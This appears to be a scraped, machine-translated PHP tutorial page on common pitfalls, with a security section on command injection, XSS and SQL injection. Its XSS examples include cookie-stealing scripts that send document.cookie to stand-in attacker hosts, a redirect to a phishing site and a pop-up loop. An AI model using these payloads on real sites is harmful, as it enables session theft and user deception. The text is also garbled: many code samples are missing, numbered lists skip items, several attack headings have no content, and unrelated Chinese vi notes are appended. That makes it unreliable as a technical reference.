Home >Backend Development >PHP Tutorial >Summary of precautions based on PHP programming_PHP tutorial
1. PHP’s implicit ternary operator (?:) priority issue:
Example 1:
$a = ‘test2’;
In fact, after careful consideration and running, the result is notice: Undefined index 2..
Due to priority issues, the connector has a higher priority than the ternary operator.
The first is to judge ' test'. isset($arr[$i]) This string is always true, therefore:
$a = $arr[$i]; causing php to prompt a reminder.
2. PHP function names and class names are not case-sensitive, but variable names are case-sensitive.
So the php modules I write often have capitalization problems and fail to compile.
3. Serialized delivery problem
Compress complex data types into a string
serialize() Encode variables and their values into text form
unserialize() Restore original variables
Result: a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}
Array ([0] => Moe [1] => Larry [2] => Curly )
When these serialized data are placed in the URL and passed between pages, these data need to be Call urlencode() to ensure that the URL metacharacters in it are processed:
4. Reference notes
Reference in PHP means using different names to access the same variable content. The reference is not a C pointer (the pointer in C language stores the content of the variable. The address stored in memory) is another alias or mapping of the variable. Note that in PHP, variable names and variable contents are different, so the same content can have different names. The closest analogy is Unix's filenames and the files themselves - the variable names are the directory entries, and the variable contents are the files themselves. References can be thought of as tight links in a Unix file system or as shortcuts to wins.
1) Unset a reference, which just breaks the binding between the variable name and the variable content. This does not mean that the variable content is destroyed
For example: $b will not be unset, just $a.
2) PHP references use reference counting and copy-on-write
Many people misunderstand that references in Php are the same as pointers in C. In fact, they are not, and they are very different. Except for the pointers in C language that do not need to be explicitly declared during the array transfer process, other points need to be defined using *. However, the pointer to address (similar to a pointer) function in PHP is not implemented by the user himself, but is implemented by the Zend core. Yes, the reference in PHP adopts the principle of "reference counting, copy-on-write" (Copy-on-Write, also abbreviated as COW), as the name suggests, it actually copies a copy of the memory when writing. Modify. )
That is, unless a write operation occurs, variables or objects pointing to the same address will not be copied, such as the following code:
$a = array('a','c'...'n' );
$b = $a;
If the program only executes here, $b and $b are the same, but they do not occupy different memory spaces like C, but Points to the same memory. This is the difference between PHP and C. It does not need to be written as $b=&$a to mean that $b points to the memory of $a. zend has already implemented the reference for you, and zend will help you very intelligently. It's up to you to decide when you should handle it this way and when you shouldn't handle it this way.
If you continue to write the following code later, add a function, pass parameters by reference, and print out the array size.
Intuitive understanding: $a will use its own original memory space, while $b will use the newly opened memory space, and this space will use the original (before $a or $b changes) content space of $a Copy the content and then make corresponding changes.
If we change the above code to the following:
5. Encoding issues
The program code uses UTF-8 code, but the strlen function calculates the number of bytes of the string instead of the number of characters?
$str = "Hello hello";
echo strlen($str);
Result: ANSI=9 and utf-8=11, utf-8 Chinese character encoding is 3 bytes. To get the number of characters, use mb_strlen().
6. Three ways to get parameters in PHP
Method 1 uses $argc $argv
Run result:
# /usr/local/php/bin/php ./getopt.php -f 123 -g 456
Array
(
[0] => ./ getopt.php
)
Method 2 uses getopt function ()
Copy code
Copy code
Copy code
8. Efficient way to write PHP:
9. PHP security vulnerability:
There are mainly the following attack methods against PHP websites:
1. Command Injection
You can use the following 5 functions in PHP to execute external applications or functions: system, exec, passthru, shell_exec, "(same function as shell_exec)"
For example:
Copy code
The code is as follows:Methods to prevent command injection and eval injection
1) Try not to execute external commands.
2) Use custom functions or function libraries to replace the functions of external commands. Some servers even directly prohibit the use of these functions.
3) Use the escapeshellarg function to process command parameters. The esacpeshellarg function will escape any characters that cause the parameters or the end of the command. Single quotation marks "'" are replaced with "'", and double quotation marks """ are replaced with " "", semicolon ";" is replaced with ";"
3. Client-side script attack (Script Insertion)
Client-side script implantation attack steps
1). The attacker logs in to the website after registering as a normal user
2) Open the message page and insert the attack js code
3) Other users log in to the website (including administrators) and browse the content of this message
4). The js code hidden in the message content was executed, and the attack was successful
The form inputs some scripts that the browser can execute:
Insert <script>while(1){windows.open();}</script> infinite pop-up box
Insert<script>location.href="http://www.sectop.com";</script> Jump to the phishing page
The best way to prevent malicious HTML tags is to use htmlspecailchars or htmlentities Convert certain strings to html entities.
4. Cross Site Scripting (XSS)
Malicious attackers insert malicious HTML code into the Web page. When the user browses the page, the HTML code embedded in the Web will be executed, thereby achieving the special purpose of the malicious user.
Cross-site scripting is mainly used by attackers to read cookies or other personal data of website users. Once the attacker obtains this data, he can pretend to be this user to log in to the website and obtain this user's permissions.
General steps for cross-site scripting attacks:
1) The attacker sends the xss http link to the target user in some way, such as comment form:
Insert <script>document.location= “go.somewhere.bad?cookie=+“this.cookie</script>
Or link:
http://w w w.my.site/index.php?user=< script >document.location="http://w w w.atacker.site/get.php?cookie="+document .cookie;
2) The target user logged in to this website and opened the xss link sent by the attacker during the login process
3), the website executed this xss attack script
4) The target user’s page jumps to the attacker’s website, and the attacker obtains the target user’s information
5) The attacker uses the target user’s information to log in to the website and complete the attack
The best way to prevent malicious HTML tags is to use htmlspecailchars or htmlentities to convert certain strings into html entities.
5. SQL injection attack (SQL injection)
The most effective defense against SQL injection is to use prepared statements:
Prepared statements (also called prepared statements) are a kind of query. They are first sent to the server for pre-compilation and preparation, and when the query is executed later, it is told where the parameters are stored.
The advantages:
1) Escape parameter values. So there is no need to call something like mysqli::real_escape_string or put the parameters in quotes.
2) When executed multiple times in a script, the performance of prepared statements is usually better than sending the query over the network each time. When a query is executed again, only the parameters are sent to the database, which takes up less space. .
1) Use PDO (PHP Data Objects):
7. Session Hijacking
8. Session Fixation
9. HTTP Response Splitting attack (HTTP Response Splitting)
10. File Upload Attack
11. Directory Traversal
12. Remote file inclusion attack (Remote Inclusion)
13. Dynamic Function Injection Attack (Dynamic Variable Evaluation)
14. URL attack
15. Spoofed Form Submissions
16. Spoofed HTTP Requests
Several important php.ini options: register_globals, magic_quotes, safe_mode. These options will be deprecated in PHP5.4.
register_globals:
php>=4.2.0, the default value of register_globals option in php.ini is Off by default. When register_globals
Whenis set to On, the program can receive various environment variables from the server, including variables submitted by the form, and because PHP does not have to initialize the value of the variable in advance, it leads to great security risks.
Make sure register_globals is disabled. If register_globals is enabled, it's possible to do careless things like use a $variable to replace a GET or POST string with the same name. By disabling this setting, PHP forces you to reference the correct variables in the correct namespace. To use variables from a form POST, $_POST['variable'] should be quoted. This way you won't mistake this particular variable for a cookie, session, or GET variable.
safe_mode:
Safe mode, PHP is used to restrict access to documents, restrict access to environment variables, and control the execution of external programs. To enable safe mode, safe_mode=On in php.ini must be set
magic_quotes
is used to automatically escape the input information of the PHP program. All single quotes ("'"), double quotes ("""), backslashes ("") and null characters (NULL) are automatically escaped. Add backslashes to escape magic_quotes_gpc=On to set magicquotes to On, which will affect HTTP request data (GET, POST, Cookies). Programmers can also use addslashes to escape submitted HTTP request data, or use stripslashes to remove the escaping
.
10. Concurrent use of curl with multiple requests
Everyone must have used curl, but it is estimated that there are not many concurrent uses. But it is indeed useful in some cases, such as calling multiple other party interfaces in the same request. Traditionally, we need a serial request interface:
file_get_contents('http://a.php');//1 second
file_get_contents('http://b.php');//2 seconds
file_get_contents('http://c.php');//2 seconds
It takes 5 seconds here, but by operating the muti method of curl, we can complete the request in just 2 seconds. There is a piece of code in the PHP manual:
Please note that results of empty() when called on non-existing / non-public variables of a class are a bit confusing if using magic method __get (as previously mentioned by nahpeps at gmx dot de). Consider this example:
Copy code The code is as follows:
$registry = new Registry();
$registry->empty = '';
$registry->notEmpty = 'not empty';
var_dump(empty($registry->notExisting)); // true, so far so good
var_dump(empty($registry->empty)); // true, so far so good
var_dump(empty($registry->notEmpty)); // true, .. say what?
$tmp = $registry->notEmpty;
var_dump(empty($tmp)); // false as expected
?>
php ./test.php
如果test.php是windos上传的,其格式可能是dos。
然后运行该命令就报错:Could not open input file
我们可以在vi中使用:set ff来查看格式:
fileformat=dos
如果是dos格式,那么就要使用:set ff=unix来设置新格式
再使用:set ff来查看格式,可以看到已经是unix的格式了;
fileformat=unix